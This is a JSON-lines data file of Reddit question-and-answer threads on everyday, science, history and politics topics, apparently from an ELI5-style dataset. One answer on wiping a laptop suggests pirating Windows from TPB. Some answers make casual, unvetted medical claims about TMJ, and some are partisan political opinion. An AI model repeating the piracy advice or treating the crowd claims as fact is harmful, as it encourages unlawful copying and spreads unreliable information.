{"q_id": "xt4rj", "title": "how to delete all the data on your computer", "selftext": "Alright, i recently had my friend build me a kick-ass gaming rig and, being the nice son i am, am giving my laptop to my mother (it'll be great for what she needs, I.E email). That being said, i need to revert the computer back to how it was when i first opened it. By that, i mean all data, histroy, programs, gotten rid of, pretty much no history of me even opening google.\n\nMy question is: How do i do that? If someone could explain to me that would be awesome! I have no idea what i'm doing when it comes to anything besides playing games and reddit.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xt4rj/how_to_delete_all_the_data_on_your_computer/", "answers": {"a_id": ["c5pcdac", "c5pch6f", "c5pd1wk", "c5pdgez", "c5pe8gl", "c5pfxkd"], "score": [9, 2, 5, 4, 4, 4], "text": ["It would be very useful to know which operating system the computer uses (Windows? Mac?) Generally you can wipe the hard drive by reinstalling the OS if you have the discs. But again, the process differs depending on the OS.  Google is your friend in this endeavor.", "The only way to be sure you've gotten everything is to format the drive and reinstall the OS from scratch. That isn't really something that can be explained in ELI5 terms, however, and it will vary wildly depending on what OS you're on and whether or not you still have the original install disks for the OS and everything else that you've got on there now.\n", "First thing is which manufacturer and model is it? (tip: saying it's black is not an answer) once we find out make and model Google \" destructive restore make model\". You will probably have to push one of the function keys (F10 for example) before windows starts. Once you follow the instructions  everything will be reset to manufacturers settings. Since it's vista there is a chance you will have to go to Microsoft's  website in order to download and install service pack 1  &  2.", "Need exact make and model.  90% of the retail computers out there have a hidden restore partition that will reset the computer to factory.\n\nYou should be able to Google \"restore  < make >   < model > \" and find which key to press at boot to get to the restore partition", "Reinstalling the OS will be sufficient.\n\nWhat's the make and model of the laptop? Sometimes a recovery partition is included instead of a CD.", "* If you have the vista licence download the discs from TPB. \n* If you don't have a licence get a new windows 7 (vista sucks). \n* If you don't have the money, install Ubuntu.\n* If you don't have money nor scruples get windows 7 from TPB."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8bkamc", "title": "Giraffes only sleep a cumulative 30 minutes per day. They take brief, minute-long naps throughout the day, all while standing up. How are they able to function without large amounts of rest?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8bkamc/giraffes_only_sleep_a_cumulative_30_minutes_per/", "answers": {"a_id": ["dx8ge0r", "dx8i2bz"], "score": [338, 183], "text": ["They sleep more. In captivity it's around 4.5hrs: _URL_0_  \n\nIn the wild animals sleep less than in captivity, especially those that tend to be prey. But giraffes are ruminants, if you watch a cow or sheep chew cud, they're not fully awake all that time. Eyes half closed, head hanging down, not moving besides the chewing, they're dozing off here and there, mixed with alert moments to check for threats.\n\nSo for one they can't afford to sleep very long at a time or they'll get eaten (long blood pressure drops would be bad too, giraffes have a rather weird circulatory system to keep the brain waaay up there fueled), but they have hours each day that can be spent with light dozing. ", "This \"30 minutes per day of sleep\" for giraffes thing is a complete and utter MYTH, that keeps surfacing on Reddit multiple times!\n\nAll intelligent mammal brains need a significant amount of sleep per day. \n\nFor giraffes that is thought to be 4 hours per day, approximately. \n\n(There are quite a number of humans that only regularly get 4 hours per day of sleep, so while not ideal, it's enough for many to get by.) \n\nDolphins have found an interesting work around, in that half their brain sleeps (the 2 opposite hemispheres take turns sleeping). But not giraffes! So again I don't know what the obsession with this giraffe sleeping myth is all about?!\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://onlinelibrary.wiley.com/doi/pdf/10.1046/j.1365-2869.1996.00010.x"], []]}
{"q_id": "9v8nkj", "title": "why dems having majority in house is a big deal.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9v8nkj/eli5_why_dems_having_majority_in_house_is_a_big/", "answers": {"a_id": ["e9a7ax9", "e9a7lzc", "e9a8fzj", "e9a95nw", "e9achfr", "e9ai8on"], "score": [11, 8, 9, 2, 4, 2], "text": ["It means the Republicans are going to have a much harder time passing anything through congress because they dont have complete control anymore", "Any impeachment proceeding against the President of the United States must be initiated in the House.  While the Republicans were in power, they did everything they possibly could to stonewall anything that could have possibly portrayed the President in a negative light.  They essentially were operating under a mentality of \"if we don't look, it doesn't exist\".  With the Democrats gaining the majority in the House, they can start up new investigations and actually provide closure, whether it's favorable to the President or not.  They're going to have to provide a significant amount of concrete evidence that something illegal actually took place, because the Republicans still have the majority in the Senate.", "All bills most be comfirmed as is by both chambers otherwise its not moving anywhere. Usually bills start in the house and after they vote the senate has to. So if the dems dont want to vote on a bill its DOA. they also head all the house committees that have power over investigations  &  bunch other stuff", "To pass a law, a majority \"pass\" vote is needed in both the House and the Senate.  (See \"[I'm Just A Bill](_URL_0_)\", the famous 3-minute video from Saturday morning cartoons in the 1970s.)  Without a majority in the House, the Republican leadership can no longer pass any laws that the Democratic leadership disagrees with.  Or repeal any laws that the Democratic leadership doesn't want to appeal.\n\nThere are some other benefits, like the ability to hold Congressional hearings with subpoena power than can be used to investigate alleged misconduct.  This is now thought to be important because of the [Mueller investigation](_URL_1_) - most people think Trump wants to shut it down, but it's a crime called \"obstruction of justice\" to shut down a criminal investigation into your own friends' and associates' activities.  Having a majority in the House will let the Democrats hold lots of hearings to get testimony on the record to try to strengthen that investigation politically.\n", "Just to add, Republicans have an inbuilt advantage in the House since it goes by districts.  Republicans control most states and gerrymander them so that they have the most safe districts that have some democrats but not enough.  They then draw super safe districts for democrats which means all their voters are packed together.  \n\nThat is why the Democrats won control but should have won far more if it wasn't for gerrymandering and self sorting (liberals tend to move to urbans areas).  \n\n", "There are a number of reasons:\n\n* Control of the purse strings. All budgets and appropriations (taxpayer money being assigned to a specific project) must originate in the House. Democratic control of the House means that Republicans can't simply do whatever they want with the budget. The border wall (which was never anything but a pipe dream to begin with) is now for all intents and purposes truly dead, as the Democrats can refuse to include any funding for it in any appropriation bills or budgets.\n\n* Investigative/subpoena power. Remember the House's endless investigations of Benghazi and Hillary Clinton? The Democrats can get their pound of flesh for that now, if they so choose. This also means Meuller's Russia investigation is effectively unstoppable, as even if Trump were to demand that Mueller be fired now, before the swearing in of the new class of representatives, they could simply reinstate it once they're sworn in. It wouldn't have the power to bring charges like Mueller does now, but we've seen first-hand how damaging these things can be politically.\n\n* Ability to stop passing of laws. Laws must be passed by both the House and Senate. This means nothing truly odious to Democrats will be able to be passed. This street runs both ways; Democrats won't be able to pass anything odious to Republicans because of their control of the Senate.\n\n* Succession to the Presidency. Suppose video of Trump specifically asking Russian agents to interfere in the 2016 election on his behalf while reciting his name and social security number surfaces. On the same day that forces Trump to resign, Mike Pence sees two men holding hands and is immediately Raptured up to Heaven. With both the President and Vice President out, the Presidency falls to the Speaker of the House, who is turn elected by the party with the majority.\n\n* Various leadership positions. There are a number of committees in the House with varying degrees of influence. Leadership in these positions will pass to Democrats, which can in turn influence the shape of laws and policy.\n\n* Electoral College control. In the (highly unlikely) event that no candidate in the next presidential election gains an absolute majority of electoral college votes, the House of Representatives votes on who the next President will be. Democratic house = Democratic President."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=tyeJ55o3El0", "https://en.wikipedia.org/wiki/Special_Counsel_investigation_(2017%E2%80%93present\\)"], [], []]}
{"q_id": "aafurh", "title": "why when stored vertically vinyl records do not warp but when stored laying flat (horizontal) they can warp?", "selftext": "Seems like it should be the opposite ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aafurh/eli5_why_when_stored_vertically_vinyl_records_do/", "answers": {"a_id": ["ecrop58"], "score": [19], "text": ["You can store them horizontally, you can even store two of them on top of each other, but keep in mind:\n\nThe more you put on top of each other, the more weight will be on the bottom ones. The edges of the cover and sheet are twisted back and glued, which means that the paper there is thicker than in the middle. As such the middle of the record will be pressed deeper than the outer, which will make it warp.\n\nWhen taking a record from out of a horizontal stack, you will bend it. Not on purpose, but it will happen. Also the stack will fall over once in a while.\n\nAnd:\n\nDon't store them in direct sunlight. Don't store them next to a heater. Don't store them in your fireplace, you never know who accidentally fires it up.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1voedu", "title": "how is the guy in this video \"smoking\" alcohol?", "selftext": "This youtube video's received over 3 million views in the last year, I don't understand how pressure produces alcoholic \"smoke\" when released. _URL_0_\n\nEdit: It's 2014.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1voedu/eli5_how_is_the_guy_in_this_video_smoking_alcohol/", "answers": {"a_id": ["ceu9p6p", "ceu9vv3", "ceuc4rj", "ceuc846", "ceudbq0", "ceudgy1", "ceufobk", "ceugmww"], "score": [11, 55, 50, 2, 2, 4, 2, 3], "text": ["there are also comments saying it's dangerous. can someone elaborate on that?", "The bottle and pump combination he uses works as a home-made nebulizer. When the cork is removed the sudden change in air pressure vaporizes the alcohol making it possible to be inhaled.", "This guy looks like a complete tool.", "Does this even work? I'm halfway sure that alcohol needs to be broken down in the stomach before it has the effects that it does", "From the comments here and on the youtube page it seems as if the only real danger is not knowing how drunk you are.  Are there other things to be concerned about?", "In a closed bottle there is always a two-way reaction going on. Some of the air in the bottle gets diluted in the liquid, and some of the liquid (also alcohol) vaporizes into the air. This happens even if the temperature is lower than the boiling point of the liquid, because temperature is proportional to the **average** kinetic energy of molecules, so some of them will have greater speeds, some even enough to evaporate.\n\nThe rate of the two-way reaction is in part dependant on the air pressure, i.e. the greater the pressure, more air gets diluted in the liquid (and vice versa). That is why when you open a fizzy drink, the carbon dioxide diluted in the liquid escapes (in the form of bubbles), because you just decreased the pressure.\n\nThe same holds for the liquid. If you rapidly decrease the air pressure, the two-way reaction shifts in favour of the liquid evaporating until equilibrium is reached. Some of the alcohol therefore evaporates. If it is enough to get drunk, though, is beyond me.", "Just so we're clear. It's 2014. This video is a year old.", "[This is the wrong way to consume alcohol.](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=LQFmKPA-iAg"], "answers_urls": [[], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=v9lwVbaVpYs"]]}
{"q_id": "113h0c", "title": "Is it true that living in certain heavily polluted cities is the equivalent of smoking 60+ cigarettes per day?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/113h0c/is_it_true_that_living_in_certain_heavily/", "answers": {"a_id": ["c6j1bbj", "c6j86gl"], "score": [85, 3], "text": ["Your instinct to be skeptical is right on. Let's break this article down just a little bit.\n\nWho wrote it? Paul Brown, he's a journalist not a scientist. Already I'm skeptical and reading closely to see if his claims are being too broadly applied, conclusions jumped to, etc. \n\nWho did the study? A university, a lab somewhere, an established researcher? Ooops, nope, it's a company. And a \"liquid petroleum gas\" company at that, interesting. Why would they want to take such measurements, I wonder? Ah ha,  the article gives us one possible explanation: \"Mr Ford says Calor is using the research to try to persuade Gordon Brown to provide further incentives for cleaner fuels and to encourage local authorities to run their vehicle fleets on gas. \" So they have a motive for the data coming out a certain way. Now I'm extra dubious.\n\nPeer reviewed? Nope, doesn't look like it. Not even cited properly.\n\nAnd what did they mean \"same as smoking a cigarette,\" exactly? Apparently they were looking at nitrous oxides: \"[walking around some city gave people] the equivalent dose, from oxides of nitrogen in vehicle exhausts, of smoking 10 cigarettes a day...\" I know that there are many harmful chemicals in cigarette smoke. Nitrous oxide is one particular chemical that is harmful in cigarettes. We can measure how much nitrous oxide is in one cigarette but I don't think that captures the full damage of smoking a cigarette. But taking the nitrous oxide measurements and then saying they are cigarette \"equivalents\" sounds much nicer and has a bigger impact on the reader, so who cares if it's mildly disingenuous. \n\nDoes all this mean they are flat out wrong? No, in fact it seems likely the air quality it pretty bad in those cities, especially regarding nitrous oxides. Can we say that breathing the air is exactly the same as smoking some number of cigarettes? No, not until we consider *all* of the chemicals, particulates, and other ways a cigarette is damaging. But that's just much less fun.", "I wouldn't know the exact effect air pollution would have in terms of \"cigarettes effectively smoked\", but I can offer some circumstantial evidence that does make the general concept seem reasonable (even though the number quoted may not be).\n\nIn my line of work I've had the opportunity to see a number of autopsies. Inhalation of tar and combustion products from cigarettes/tobacco products will discolour the lung tissue, and the colour may give a rough indication of how bad a smoker's habit was.\n\nBased on two specific autopsies I witnessed, the lungs of a person (non-smoker) who lived opposite Parramatta Road (rather busy road in Sydney), looked quite similar to the lungs of an older fellow that smoked between 15 and 20 cigarettes per day (according to medical info available at the time of autopsy).\n\nThink of it this way: smoke and exhaust gases from combustion engines, regardless of the effectiveness of catalytic converters, will contain some nasty stuff, including polycyclic aromatic hydrocarbons, soot, and so on. Breathing in significant quantities of these compounds may have some effect on lung function and appearance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4z6je9", "title": "how tmj dysfunction affects the entire body", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4z6je9/eli5_how_tmj_dysfunction_affects_the_entire_body/", "answers": {"a_id": ["d6t91fa", "d6tbx7x", "d6tchv4", "d6td19g", "d6tg1ee", "d6tg2mf"], "score": [17, 6, 8, 3, 2, 2], "text": [" >  how does it cause a person to have difficulty concentrating and make someone feel off balance like their surroundings are constantly in motion\n\nThis sounds like it impacts your inner ear which controls your sense of balance and movement. The jaw is pretty close so I suppose swelling or physical interaction isn't too much of a stretch. ", "TMJ affects the muscles that pull your jaw upward. Try clenching your teeth and you'll feel pressure just under your ear. With TMJ these muscles are constantly contracting and putting a lot of pressure on the area, which can eventually elongate the ear canal and cause issues with vertigo ", "Stress, pain and anxiety are more likely the cause of the tmd, not the result. Physical findings such as clicking and popping are very normal and do not necessarily lead to pain or breakdown of the joint. People with high stress levels that cause them to clench and grind can be more prone to tmd. \nThe tmjs are right below the inner ear so people do theorize that inflammation could affect nerve conduction, but again this has low correlation if we look at people who report joint sounds.\n\nTry yoga and meditation and relaxation techniques.", "If you're a nail biter, stop immediately. I was told by my dentist that my jaw pain and popping was TMJ and recommended I stop biting my nails.\n\nIt doesn't completely fix it, but it helps.\n\nAlso if clench your jaw or grind your teeth when stressed that will fuck you.", "I have had TMJ dysfunction for so many years and I never thought that all my other symptoms were because of it. Wow. Explains so much. ", "I have it and it is horrible, I got punched at a Concert and that was in april... i have to wear a night guard every night and as much as i can during the day. When i eat.... its like playing a game of roulette.... Sometimes im good but then THE ALMIGHTY TMJ FUCKS YOU UP.... Feels like i got punched in the head when it happens and boy it hurts.... Ive fallen to the floor a couple times from it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2l8tqu", "title": "Would aliens understand a message from Earth that relied on prime-numbers if they used a base other than 10?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2l8tqu/would_aliens_understand_a_message_from_earth_that/", "answers": {"a_id": ["clsj7ss", "clsklld", "clskrhp", "clslibw"], "score": [140, 15, 4, 10], "text": ["Prime numbers don't depend on the base used. It is a mathematical fact that you can't rearrange IIIIIII or IIIIIIIIIIIII into smaller equal groups, while you can do it for IIIIII (III-III or II-II-II). That's independent of if you call IIIIIII 7 (in decimal) or 111 (in binary).", "Humans understand that there are numerical bases other than 10. It seems reasonable to assume that aliens that are capable of receiving a message from Earth, also understand that there are numerical bases other than whatever they normally use.\n", "I suppose it might be possible to build complex (electronic) things without mathematics but so much of modern electronics is modelled (and thus enabled) with complex math that it is unlikely that a civilisation would be able to both detect and decode the signal and yet be unable to recognise the significance of simple primes.\n\nIf I recall, it was a plot point in the Tommy Knockers that the aliens could build complex things without understanding how they works.", "Interestingly and on a closely related note one of the first radio messages designed for aliens has a number of bits equal to the product of two prime numbers. [The Arecibo message]( _URL_0_) contains 1679 bits in the hope that intelligent alien life would figure out it contains a 2D image of 73x23 pixels. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.m.wikipedia.org/wiki/Arecibo_message"]]}
{"q_id": "3b097k", "title": "I've heard the worst destiny for a slave in the ancient world was not the arena but the mines, is it true?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3b097k/ive_heard_the_worst_destiny_for_a_slave_in_the/", "answers": {"a_id": ["cshsrve", "csht5kx"], "score": [85, 29], "text": ["[Fergus Millar](_URL_1_) brings up an interesting entry from 325 AD in the *Codex Theodosianus* which is actually relevant to the comparison. *Damnatio ad metalla*, or condemnation to the mines, was recommended as a substitute for being sentenced to gladiatorial combat (EDIT: reading the other posts, it's perhaps worth pointing out that it actually says \"bloody spectacles,\" rather than gladiatorial combat. Others have noted that being a gladiator was perhaps not so bad, but I think this is getting at what you're asking. The point is that being condemned to the mines was perhaps roughly equivalent to being sentenced to death by spectacle), and Millar suggests that this was a \"Christianizing measure.\" The \"Christianizing measure\" here is probably the elimination of the public spectacle, with the two sentences probably being viewed by the Romans as roughly equivalent. An entry from about a decade earlier in the *Codex Theodosianus* also links the two, forbidding facial tattooing of prisoners sentenced either to be gladiators or miners (one should, of course, simply tattoo both the hands and legs!)\n\nMoving on, as others have mentioned, working in the mines was incredibly, horribly unpleasant. *Damnatio ad metallum* wasn't an immediate death sentence, but this also wasn't necessarily a kindness. [Diodorus Siculus](_URL_3_), a fairly early (1st century BC) source for this punishment (in the context of Egyptian gold mines), actually views this as one of the cruel aspects of it. His account contains this rather famous line: \"Consequently the poor unfortunates believe, because their punishment is so excessively severe, that the future will always be more terrible than the present and therefore look forward to death as more to be desired than life.\" In this context, it was perhaps good for those sentenced to the mines that their life sentences were unlikely to be particularly long.\n\nLikewise, if our (admittedly rather biased) accounts of the early 4th century persecutions are accurate, during this period *damnatio ad metallum* was often not the only punishment one received. [Eusebius](_URL_0_), referring to a *metallum* near and dear to me \u2014 Phaeno, in modern Jordan \u2014 relates that prisoners sentenced to the mines were often mutilated, as well. As an example: \". . . those with him, men who had shown the noblest firmness in behalf of religion, were condemned by him to labor in the same copper mines, command being first given that their ankles be disabled with hot irons,\" and slightly later, \"He condemned three to single pugilistic combat. He delivered to be devoured by wild beasts Auxentius, a grave and holy old man. Others who were in mature life he made eunuchs, and condemned them to the same mines.\" (Note also the connection, again, to death by public spectacle.)\n\nSo, yes, being sentenced to the mines in the Roman world was likely one of the worst things that could happen to you. Being a metallurgical specialist, on the other hand, likely continued to be [a pretty good thing](_URL_2_).", "I'm copying what I've posted somewhere else on the mines in Iberia under the Roman Empire.\n\nUnder the Roman Empire - exactly when a gladiator like Maximus would have been fighting - the majority of metals came from the Iberian Peninsula - Spain and Portugal. Pliny, in Natural History, wrote that \"Almost all of Spain abounds in mines of lead, iron, tin, silver, and gold.\"\n\nSilver was the metal of the Roman currency during the time of Emperor Commodus, the coin called the denarius, and thus the Iberian silver mines were incredibly wealthy. To own or operate one of these mines would have brought you massive wealth - according to Diodorus of Sicily, the sums would be \"defying belief\". Unfortunately I don't have exact numbers on wealth.\n\n\nAs to how they were worked, I have a number of primary accounts. I'll start with Diodorus of Sicily, from *Historical Library*. Typically aristocratic Italians would purchase a large number of fit and strong male slaves and ship them to Iberia to work the mines - they would dig deeps shafts with hand tools and attempt to locate seams of the desired metals. Diodorus states that the slaves would dig both \"a great distance... [and] push their diggings many stades in depth and run galleries off at every angle...\" However as time went on the mines were more and more controlled by the state.\n\nUnfortunately for the slaves this was terrible, terrible work - if there is one thing you never, ever, ever want to be, it is a slave in the Roman mines, \"for no respite of pause is granted them in their labors, but compelled beneath blows of the overseers to endure the severity of their plight, they lose their lives in this wretched manner, although certain of them who can endure it, by virtue of their bodily strength and their persevering souls, suffer hardships over a longer period; indeed death in their eyes is more to be desired than life, because of the magnitude of the hardships they must bear...\"\n\nIts not in this source, but I do remember learning that being condemned to the mines was a legal punishment, especially if you were a disobedient slave.\n\nDiodorus also talks about the mines at Elba, in Italy, and here he talks of the process of actually smelting the ores. It is as follows: \"now those who are engaged in the working of the ore crush the rock and burn the lumps which they have thus broken in certain igneous furnaces and in these they smelt the lumps by means of a great fire and form them into pieces of moderate size which are in their appearance like large sponges. These are bought up by traders in exchange and are then transported to Puteoli (a rich metal working city) or the other trading stations, where there are men who purchase such cargoes and who, with the aid of a multitude of artisans in metal whom they have collected, work it further and manufacture iron objects of every description. Some of these are worked into the shape of armour, and other are ingeniously fabricated into shapes suited for two-pronged forks and sickles and other such tools; and these are then transported by traders to every region, and this many parts of the inhabited world have a share in the usefulness which accrues from these products.\"\n\nI also have an inscription for a mine in Portugal that details how very strict mining was controlled - there were a plethora of laws that basically said if you did not mine quickly enough your mining rights would be forfeit - explains some of the reason why it was still profitable to work your slaves to death - if you didn't, you'd lose the mine!\n\nAll my sources came from Naphtali Lewis and Meyer Reinhold, *Roman Civilization: Selected Readings, The Empire*, Vol. 11, 3rd Edition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://people.ucalgary.ca/~vandersp/Courses/texts/eusebius/eusempaf.html", "http://www.worldcat.org/title/roman-near-east-31-bc-ad-337/oclc/27431147", "http://journals.cambridge.org/action/displayAbstract?fromPage=online&amp;aid=9424251&amp;fileId=S0003598X00050687", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Diodorus_Siculus/3A*.html"], []]}
{"q_id": "27u8ro", "title": "why aren't harps linear, and what basic function explains the shape of the top? why isn't that curve consistent?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27u8ro/eli5_why_arent_harps_linear_and_what_basic/", "answers": {"a_id": ["ci4g7v8", "ci4gtwp"], "score": [4, 38], "text": ["I play guitar, and I have tried to make musical instruments of my own design.\nIt's a combination of things. First the tones of each string are not linear to begin with. They are more like an exponential curve.  I think the reason that they are not perfectly curved is because of size limitations, playability, and the availability of the right string material. The bass strings might be too long, and make the harp too large(?). The smaller strings might be too short to place your hand on the string and strum them. There are many other factors such as string tension. I don't think it's an exact science. Aesthetics is part of it too. Notice a grand piano has a similar shape.", "I'm going to use guitars because that's just more familiar to me, but the same physics apply. A guitarist just shortens the string by fretting it, but it's the same shit.\n\nOctaves are generated by successive halving of the strings. So, if a 1m string makes a C, an otherwise identical .5m string will also make a C, just an octave higher. A .25m string will make a C two octaves higher... hopefully you get the idea.\n\nSo, if we're designing a guitar and we want each string to have two octaves of range, we want to put the 12th fret exactly halfway between the bridge and nut. And, lo and behold, if you look at a [real guitar](_URL_0_), that's exactly where it is: the 12th fret is the one with 2 dot thingys on it.\n\nThe 24th fret should be halfway between the 12th fret and the bridge, and it is: [here](_URL_2_) is a 24-fret guitar, the 24th is the last fret.\n\nIn math terms, if we start with a base note, and we want to play a note that's *n* octaves higher, we need to halve the string *n* times. Its length will thus be L = d/2^(n), where d is the length of the \"base string.\"\n\nIf we plot that, it looks something like [this](_URL_3_). The x-coordinate is which octave we want, and the y-coordinate is the length of the string. This also covers the notes in between the octaves, though technically some of them *slightly* miss the curve because of how we constructed our musical system (in the West at least). The point is that this is very clearly not a linear function.\n\nOkay, harps. If you look at a [harp](_URL_4_), the base slopes up but is clearly linear. So, we'll start with our 1/2^n thing, and we'll abstract away the base. As we go up the octaves, the shape of the base makes the string shorter by *some* linear amount, so we'll say the string length (excluding the top) is L' = d - mn, where m is the slope of the base, and d and n mean the same thing as before.\n\nSo, ignoring the top, what we have so far is something like [this](_URL_5_). The blue line is what we want, the pink line is the string shortening the base of the harp gives us.\n\nSo, the top of the harp has to be shaped to compensate for the difference. Taking the difference, the shape of the top should be something like\n\nd - mn - d/2^n \n\nwhich looks roughly like [this](_URL_1_).\n\nThat at least explains why the top of the harp goes upwards initially, and then goes back down.\n\nWe have to move away from math to explain why it flattens out at the end. The reason is that the strings must be long enough that they can still be played. So, harpmakers will flatten out towards the end when the strings are short, and the high strings are at a higher tension than the low strings. The frequency (and hence note) a string vibrates at does not depend solely on its length, it also depends on the tension applied: that's why a rubber band makes a higher note when you pluck it if it's stretched."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.guitar-guide-easy.com/images/stories/acoustic6string.jpg", "http://www.wolframalpha.com/input/?i=plot+1+-+.2x+-+1%2F2%5Ex+from+x%3D0+to+x%3D5", "http://www.edroman.com/guitars/abstract/images/Abs_05007.jpg", "http://www.wolframalpha.com/input/?i=plot+1%2F2%5Ex+from+x%3D0+to+x%3D5", "http://upload.wikimedia.org/wikipedia/commons/4/4e/Harp.png", "http://www.wolframalpha.com/input/?i=plot+1%2F2%5Ex+and+1+-+.2x"]]}
{"q_id": "1gt29x", "title": "Why did Sir Ernest Shackleton abandon his whisky?", "selftext": "In February 2007, workers trying to restore Shackleton\u2019s hut in Antarctica accidentally came across three cases of Scotch \u2014 \u201cRare old Highland malt whisky, blended and bottled by Chas. Mackinlay  &  Co.\u201d \u2014 frozen in the permafrost.  Here are some images:\n\n[The three cases of Scotch.](_URL_6_)\n\n[Front view.](_URL_0_)\n\n[Side view.](_URL_5_)\n\n[Interior view.](_URL_4_)\n\n[Individual bottles recovered from the permafrost.](_URL_3_)\n\n[Closeup of cork label.](_URL_2_)\n\n[A recovered bottle held next to a replica.](_URL_1_)\n\nWhy would Shackleton abandon so much fine whisky?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gt29x/why_did_sir_ernest_shackleton_abandon_his_whisky/", "answers": {"a_id": ["cankg7z"], "score": [3], "text": ["Alright, I'm going to do my best to dig into my memory banks and \"answer,\" or at the very least contextualize this question.   \nSo this whisky is from Shackleton's 1907 British Antarctic Expedition (generally referred to as the Nimrod Expedition after the ship he used to get to Antarctica.) British Antarctic expeditions of this time were structured so as to include both exploration (trying to reach the south pole or attain some other geographic goal) and scientific research (if memory serves it was easier to finance an expedition that had some scientific merit than just a pure exploration venture.) This meant that the crew was of a decent size and included both adventure types and scientists.  \nShackleton built his base in Cape Royds. This was both the launching pad for exploratory ventures and home base for the scientists. So when he made his go at reaching the pole (he and his team made it within 97 miles before turning back due to a lack of provisions) there were other people staying at the hut (where the whisky was.)  \nShackleton and his base crew had set a cutoff date for the ship leaving Antarctica. If Shackleton and his team were not back by that point, the ship and crew were to leave without them. Because there was no way of signaling where they were on the return trip, the pole team *had* to make that deadline. They did make it, but only just (it's really a great story, but I won't get into it here.)  \nIn regards to the the whisky, it was most likely simply forgotten and left behind by the crew. The idea of leaving a pristine environment behind them did not exist. These old huts are still around, and still contain clothing, tools, canned food, and other objects. As Shackleton only just made it back to the ship in time (and was in a pretty bad physical state) he almost certainly had absolutely nothing to do with the whisky being left behind.  \nSo, it basically the whisky just got left behind, and there's not really a reason or a story as to why. "]}, "title_urls": [], "selftext_urls": ["http://i3.ytimg.com/vi/j4xK1HsFWOY/maxresdefault.jpg", "http://whiskymagazine.files.wordpress.com/2010/12/j.jpeg", "http://www.whisky-drinker.com/pages/wp-content/uploads/2011/04/48896-hi-shackleton_whisky4wc.jpg", "http://walrusvideo.com/wp-content/uploads/2013/04/Shackletons.Whisky.jpg", "http://www.thehistoryblog.com/wp-content/uploads/2011/11/Inside-the-crate.jpg", "http://www.whyteandmackay.com/uploads/blogs/2010/07/Shackleton-south-pole-whisky-crate-end-1.jpg", "http://assets.natgeotv.com/Shows/17212.jpg"], "answers_urls": [[]]}
{"q_id": "4eh07y", "title": "why is light polarized parallel to a surface after reflecting off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4eh07y/eli5_why_is_light_polarized_parallel_to_a_surface/", "answers": {"a_id": ["d20cndv"], "score": [2], "text": ["It's not completely polarized, it just becomes more polarized in that direction (except in special cases).  The reason is because light interacts with the surface of a material in a way that depends on whether or not the polarization is parallel to or at an angle with the surface.  In general when reflecting off a surface when traveling in air, light with polarization that makes an angle with the surface will reflect less than light with a parallel polarization.  There is even an angle called the Brewster angle where the light with polarization making this angle with the surface will not reflect at all.  If you start with unpolarized light, and more light with polarization parallel to the surface reflects, then the reflected light is slightly polarized along the surface.\n\nTo understand how this works, you need to know a bit of physics, specifically electromagnetism and Maxwell's equations.  The equations that govern this are called the Fresnel equations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2f2ymd", "title": "Why is forward, but not lateral, neck immobility a sign for meningitis?", "selftext": "When considering meningitis, doctors check if a patient can tilt his head forward. Why is the forward movement (chin to chest) an indicator for meningitis but other neck stiffness (inability to turn or tilt head to the sides) is not?\n\nDisclaimer: of course the question arose from personal interest, but I have already been diagnosed by a professional as not having meningitis, so I'm not asking for medical advice. Just wondering what the physiology is.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2f2ymd/why_is_forward_but_not_lateral_neck_immobility_a/", "answers": {"a_id": ["ck5ixzz", "ck5iyc0"], "score": [32, 8], "text": ["Meningitis is an irritation of the coverings of the brain, called the meninges. Forward neck movement will cause the meninges to stretch and because they're irritated, it will cause pain. Lateral head movement doesn't cause a significant stretch on the meninges and won't cause the same neck pain. \n\nThink of it like this. The brain and spinal cord all share one continuous covering. When you lean forward you're effectively making that covering longer, which will stretch it. When it's irritated, that stretch causes pain.\n\nHope that answers your question!", "Meningitis is an inflammation of the meninges, the membranes covering the brain. Any pressure or force applied to the meninges will hurt so the dorsal neck musculi get rigid to counteract any lenghtening movement of the membranes.\n\nThis is not limited to neck, for example there is the Laseque test in which one passively flexes the patients legs while he's laying on their back. This also extenses the membranes and thus is considerably restricted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
